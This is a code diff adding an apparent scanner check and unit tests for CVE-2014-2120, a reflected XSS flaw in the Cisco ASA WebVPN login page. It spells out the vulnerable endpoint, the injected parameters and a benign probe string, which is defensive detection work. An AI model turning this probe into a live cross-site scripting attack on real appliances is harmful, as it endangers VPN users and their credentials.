Ostorlab · 3asm · Nov 15, 2024 · Nov 14, 2024 · Nov 14, 2024 · Nov 14, 2024
@@ -0,0 +1,71 @@
+"""Agent Asteroid implementation for CVE-2014-2120"""
+
+import re
+from urllib import parse as urlparse
+import datetime
+
+from requests import exceptions as requests_exceptions
+
+from agent import definitions
+from agent.exploits import webexploit
+from agent import exploits_registry
+
+VULNERABILITY_TITLE = "Cisco ASA WebVPN Login Page XSS Vulnerability"
+VULNERABILITY_REFERENCE = "CVE-2014-2120"
+VULNERABILITY_DESCRIPTION = (
+    "Cisco Cisco Adaptive Security Appliance (ASA) SSL VPN is prone to a cross-site scripting (XSS) vulnerability."
+    "The flaw is due to an error in password recovery form which fails to filter properly the hidden inputs."
+)
+RISK_RATING = "HIGH"
+DEFAULT_TIMEOUT = datetime.timedelta(seconds=90)
+
+REFLECTED_XSS_TEST_STRING = "test123\"'"
+SAFE_STRING = "test123&quot;"
+VULNERABLE_STRINGS = ["test123\"'", "test123\\\"'"]
+
+
+@exploits_registry.register
+class CVE20142120XSSExploit(webexploit.WebExploit):
+    accept_request = definitions.Request(
+        method="GET",
+        path="/+CSCOE+/logon.html?reason=2&a0=63&a1=&a2=&a3=0&next=&auth_handle=&status=0&username=test&password_min=0&state=&tgroup=&serverType=0&password_",
+    )
+    accept_pattern = [
+        re.compile("Password expired, you must enter a new password to continue.")
+    ]
+
+    check_request = definitions.Request(
+        method="GET",
+        path="/+CSCOE+/logon.html?reason=2&a0=63&a1=&a2=&a3=0&next=&auth_handle={}&status=0&username={}&password_min=0&state=&tgroup=&serverType=0&password_days=0".format(
+            REFLECTED_XSS_TEST_STRING, REFLECTED_XSS_TEST_STRING
+        ),
+    )
+    metadata = definitions.VulnerabilityMetadata(
+        title=VULNERABILITY_TITLE,
+        description=VULNERABILITY_DESCRIPTION,
+        reference=VULNERABILITY_REFERENCE,
+        risk_rating=RISK_RATING,
+    )
+
+    def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
+        """Check if the target reflects unsanitized input in the response."""
+        vulnerabilities: list[definitions.Vulnerability] = []
+        target_endpoint = urlparse.urljoin(target.origin, self.check_request.path)
+
+        try:
+            response = self.session.get(
+                target_endpoint, timeout=DEFAULT_TIMEOUT.seconds
+            )
+            response.raise_for_status()
+
+        except requests_exceptions.RequestException:
+            return vulnerabilities
+
+        # Check for reflected XSS payloads (both vulnerable strings)
+        for vuln_str in VULNERABLE_STRINGS:
+            if vuln_str in response.text and SAFE_STRING not in response.text:
+                vulnerability = self._create_vulnerability(target)
+                vulnerabilities.append(vulnerability)
+                break
+
+        return vulnerabilities
@@ -0,0 +1,106 @@
+"""Unit tests for Agent Asteroid: CVE-2014-2120"""
+
+import requests
+import requests_mock as req_mock
+
+from agent import definitions
+from agent.exploits import cve_2014_2120
+
+
+def create_mock_vulnerable_response() -> str:
+    """Create a mock HTML response with the XSS vulnerability reflected."""
+    return """
+    <html>
+        <body>
+            <input type="hidden" name="auth_handle" value="test123"'">
+            <input type="hidden" name="username" value="test123"'">
+        </body>
+    </html>
+    """
+
+
+def create_mock_secure_response() -> str:
+    """Create a mock HTML response without the XSS vulnerability reflected."""
+    return """
+    <html>
+        <body>
+            <input type="hidden" name="auth_handle" value="test123&quot;">
+            <input type="hidden" name="username" value="&quot;test123">
+        </body>
+    </html>
+    """
+
+
+def testCVE20142120_whenVulnerable_reportFinding(
+    requests_mock: req_mock.mocker.Mocker,
+) -> None:
+    """Unit test for CVE-2014-2120: case when target is vulnerable."""
+
+    requests_mock.get(
+        "http://localhost:80/+CSCOE+/logon.html?reason=2&a0=63&a1=&a2=&a3=0&next=&auth_handle=test123%22'&status=0&username=test123%22'&password_min=0&state=&tgroup=&serverType=0&password_days=0",
+        text=create_mock_vulnerable_response(),
+        status_code=200,
+    )
+
+    exploit_instance = cve_2014_2120.CVE20142120XSSExploit()
+    target = definitions.Target("http", "localhost", 80)
+
+    vulnerabilities = exploit_instance.check(target)
+
+    assert len(vulnerabilities) > 0
+    vulnerability = vulnerabilities[0]
+    assert vulnerability.entry.title == "Cisco ASA WebVPN Login Page XSS Vulnerability"
+    assert vulnerability.technical_detail == (
+        "http://localhost:80 is vulnerable to CVE-2014-2120, Cisco ASA WebVPN Login Page XSS Vulnerability"
+    )
+
+
+def testCVE20142120_whenSecure_reportNothing(
+    requests_mock: req_mock.mocker.Mocker,
+) -> None:
+    """Unit test for CVE-2014-2120: case when target is secure."""
+    # Mock the secure response
+    requests_mock.get(
+        "http://localhost:80/+CSCOE+/logon.html?reason=2&a0=63&a1=&a2=&a3=0&next=&auth_handle=test123\"'&status=0&username=test123\"'&password_min=0&state=&tgroup=&serverType=0&password_days=0",
+        text=create_mock_secure_response(),
+        status_code=200,
+    )
+
+    exploit_instance = cve_2014_2120.CVE20142120XSSExploit()
+    target = definitions.Target("http", "localhost", 80)
+
+    vulnerabilities = exploit_instance.check(target)
+
+    assert len(vulnerabilities) == 0
+
+
+def testCVE20142120_whenConnectionError_reportNothing(
+    requests_mock: req_mock.mocker.Mocker,
+) -> None:
+    """Unit test for CVE-2014-2120: case when a connection error occurs."""
+    requests_mock.get(
+        "http://localhost/+CSCOE+/logon.html?reason=2&a0=63&a1=&a2=&a3=0&next=&auth_handle=test123\"'&status=0&username=test123\"'&password_min=0&state=&tgroup=&serverType=0&password_days=0",
+        exc=requests.exceptions.ConnectionError,
+    )
+
+    exploit_instance = cve_2014_2120.CVE20142120XSSExploit()
+    target = definitions.Target("http", "localhost", 80)
+
+    vulnerabilities = exploit_instance.check(target)
+    assert len(vulnerabilities) == 0
+
+
+def testCVE20142120_whenTimeout_reportNothing(
+    requests_mock: req_mock.mocker.Mocker,
+) -> None:
+    """Unit test for CVE-2014-2120: case when a timeout occurs."""
+    requests_mock.get(
+        "http://localhost/+CSCOE+/logon.html?reason=2&a0=63&a1=&a2=&a3=0&next=&auth_handle=test123\"'&status=0&username=test123\"'&password_min=0&state=&tgroup=&serverType=0&password_days=0",
+        exc=requests.exceptions.Timeout,
+    )
+
+    exploit_instance = cve_2014_2120.CVE20142120XSSExploit()
+    target = definitions.Target("http", "localhost", 80)
+
+    vulnerabilities = exploit_instance.check(target)
+    assert len(vulnerabilities) == 0